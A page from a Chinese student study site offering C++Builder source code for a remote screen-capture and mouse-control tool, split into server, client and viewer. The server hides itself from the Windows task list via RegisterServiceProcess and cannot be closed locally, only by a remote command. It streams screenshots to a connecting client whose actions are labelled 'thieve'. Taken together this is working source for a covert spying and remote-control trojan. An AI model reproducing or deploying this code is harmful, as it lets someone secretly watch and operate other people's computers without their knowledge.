网站首页 | J1212大学论坛 | 公务员考试 | CEAC网络工程师 | 软件水平考试 | 专升本考试 | 大学英语4-6级 |计算机等级考试| C/C++编程 | 学习法语 | TOEFL考试资料 | 大学怎么过 | 中英文歌词下载 | 免费资料下载 | 大学知识面 | Linux网络课程 | Java/JSP教程 | 古诗词选录|
公告消息
大学生考试网站

  本站为大学生考试提供全面,及时,准确的服务!还为当代大学生提供学习生活的指点。来源于大学生,服务到大学生中去,是本站的理念!免费是本站的筹码!
栏目分类
 南昌大学计算机系92班级论坛

 ■考试中心
 ◆软件水平考试
 ◆专升本考试
 ◆公务员考试
 ◆CEAC网络工程师
 ◆大学英语四六级
 ◆计算机等级考试
 ◆Toefl考试资料

 大学生频道
 ◆Java/JSP教程
 ◆Linux网络课程
 ◆C/C++编程
 ◆大学怎么过
 ◆大学知识面
 ◆经典英文演讲录音
 ◆招聘信息就业指导
 ◆学习法语
 ◆古诗词选
 下载频道
 ◆电脑软件
 ◆中英文歌词下载
 ◆学习资料
 图库频道
 ◆大学时代相册
 ◆经典图片
 影视频道
 ◆FLASH专区
 ◆站长之家
 ◆站长留言簿
 
 
网站首页 --> C/C++编程

C++Builder实现Directx截流媒体屏代码

C++Builder写的,很容易改成delphi的.
服务器端:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include "jpeg.hpp"
#include "server.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "Trayicon"
#pragma resource "*.dfm"
const BufSize=2048;
TForm1 *Form1;
long LeftSize;
TMemoryStream *jpegStream;
DWORD (__stdcall *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);
bool clo,yk;

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
HINSTANCE hinst=LoadLibrary("KERNEL32.DLL");

DWORD a=GetCurrentProcessId();
(FARPROC)RegisterServiceProcess=GetProcAddress(hinst,"RegisterServiceProcess");
RegisterServiceProcess(a,1);
jpegStream=new TMemoryStream();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientDisconnect(TObject *Sender,
TCustomWinSocket *Socket)
{
jpegStream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientError(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
ErrorCode=0;
jpegStream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
AnsiString rstr;
rstr=Socket->ReceiveText();
if(rstr.SubString(1,5)=="mouse")//&&yk
{
int x,y;
x=StrToInt(rstr.SubString(9,4));
y=StrToInt(rstr.SubString(13,4));
SetCursorPos(x,y);
if(rstr.SubString(6,3)=="dbl")
{
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
}
if(rstr.SubString(6,3)=="lef"){
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
}
if(rstr.SubString(6,3)=="rig"){
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 );
}
}
if (rstr =="show")sendscreen();
if (rstr=="stop")jpegStream->Clear();
if(rstr=="close")
{
clo=true;
Close();
}
}
//---------------------------------------------------------------------------
void TForm1::sendscreen()
{
long sendsize;
char buf[BufSize-1];
if (jpegStream->Size==0)snapscreen();
if (LeftSize>BufSize)
sendsize=BufSize;
else
sendsize=LeftSize;
jpegStream->ReadBuffer(buf,sendsize);
LeftSize=LeftSize-sendsize;
if (LeftSize==0)jpegStream->Clear();
try
{
ServerSocket1->Socket->Connections[0]->SendBuf(buf,sendsize);
}
catch(...)
{
jpegStream->Clear();
}
}


void TForm1::snapscreen()
{
Graphics::TBitmap *bmpscreen= new Graphics::TBitmap();
TJPEGImage *jpegscreen= new TJPEGImage();
HDC ScreenDC;
ScreenDC=GetDC(0);
bmpscreen->Width=Screen->Width;
bmpscreen->Height=Screen->Height;
BitBlt(bmpscreen->Canvas->Handle, 0, 0,Screen->Width,Screen->Height, ScreenDC,0,0, SRCCOPY);
ReleaseDC(0, ScreenDC);
jpegscreen->Assign (bmpscreen);
jpegscreen->CompressionQuality=99;
jpegscreen->SaveToStream (jpegStream);
jpegStream->Position =0;
LeftSize=jpegStream->Size;
bmpscreen->Free();
jpegscreen->Free();
}


void __fastcall TForm1::FormCloseQuery(TObject *Sender, bool &CanClose)
{
CanClose=clo;
}
//---------------------------------------------------------------------------


客户端:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include "jpeg.hpp"
#include "Unit1.h"
#include "screen.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
const bufsize=2048;
TForm1 *Form1;
TMemoryStream *stream;
TJPEGImage *jpegscreen;
bool isthieve;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------


void __fastcall TForm1::bt_connectClick(TObject *Sender)
{
AnsiString ip=InputBox("建立连接","请输入被察看的机器的IP地址或名称:","172.16.2");
if(ip!="")
{
ClientSocket1->Active=false;
ClientSocket1->Port=15333;
ClientSocket1->Host=ip;
try{
ClientSocket1->Active=true;
}
catch(...)
{
ShowMessage("连接失败!");
}
}

}
//---------------------------------------------------------------------------

void __fastcall TForm1::bt_disconnectClick(TObject *Sender)
{
Form2->Close();
isthieve=false;
ClientSocket1->Active=false;
stream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::bt_stopClick(TObject *Sender)
{
isthieve=false;
ClientSocket1->Socket->SendText("stop");
}
//---------------------------------------------------------------------------
void __fastcall TForm1::bt_thieveClick(TObject *Sender)
{
isthieve=true;
Form2=new TForm2(this);
Form2->Show();
stream->Clear();
ClientSocket1->Socket->SendText("show");
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ClientSocket1Connect(TObject *Sender,
TCustomWinSocket *Socket)
{
ShowMessage("连接成功!");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ClientSocket1Error(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
ErrorCode=0;
ShowMessage("不能连接!");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ClientSocket1Read(TObject *Sender,
TCustomWinSocket *Socket)
{
char buf[bufsize];
int numberbytes;
if (isthieve)
{
numberbytes=Socket->ReceiveLength();
Socket->ReceiveBuf(buf,numberbytes);
Socket->SendText("show");
stream->Write(buf,numberbytes);
if(numberbytes<2048){
stream->Position=0;
try{
jpegscreen->LoadFromStream(stream);
Form2->Image1->Picture->Bitmap->Assign(jpegscreen);
}
catch(...){}
stream->Clear();
}
}
if (!isthieve)
Socket->SendText("stop");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
stream=new TMemoryStream();
stream->Clear();
jpegscreen=new TJPEGImage();
isthieve=false;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::bt_closeClick(TObject *Sender)
{
ClientSocket1->Active=false;
Close();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
ClientSocket1->Socket->SendText("complete");
ClientSocket1->Active=false;
stream->Free();
jpegscreen->Free();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::SpeedButton1Click(TObject *Sender)
{
ClientSocket1->Socket->SendText("close");
if (isthieve)ShowMessage("OK");
}
//---------------------------------------------------------------------------


显示对方机器图像的:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "screen.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm2 *Form2;
//---------------------------------------------------------------------------
__fastcall TForm2::TForm2(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void TForm2::sendkey(TMessage msg)
{

}


void __fastcall TForm2::Image1DblClick(TObject *Sender)
{
tagPOINT xy;
GetCursorPos(&xy);
AnsiString sx,sy;
sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mousedbl"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
Form1->ClientSocket1->Socket->SendText("show");
}
//---------------------------------------------------------------------------

void __fastcall TForm2::Image1MouseDown(TObject *Sender,
TMouseButton Button, TShiftState Shift, int X, int Y)
{
if(Shift.Contains(ssLeft))
{
tagPOINT xy;
GetCursorPos(&xy);
AnsiString sx,sy;
sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mouselef"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
}
else
{
tagPOINT xy;
GetCursorPos(&xy);
AnsiString sx,sy;
sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mouserig"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
}
}
//---------------------------------------------------------------------------


void __fastcall TForm2::FormClose(TObject *Sender, TCloseAction &Action)
{
this->Free();
}

 

 

 

   友好链接:

  EditRegion5
首 页 网站介绍 支持论坛 南昌大学计算机系92级班级论坛 联系我们
@j1212.com版权所有,本站所有资料内容和图片文章未经j1212.com或作者本人同意,其他媒体一律不得转载@
Copyright@http://www.j1212.com all rights reserved
Powered by www.j1212.com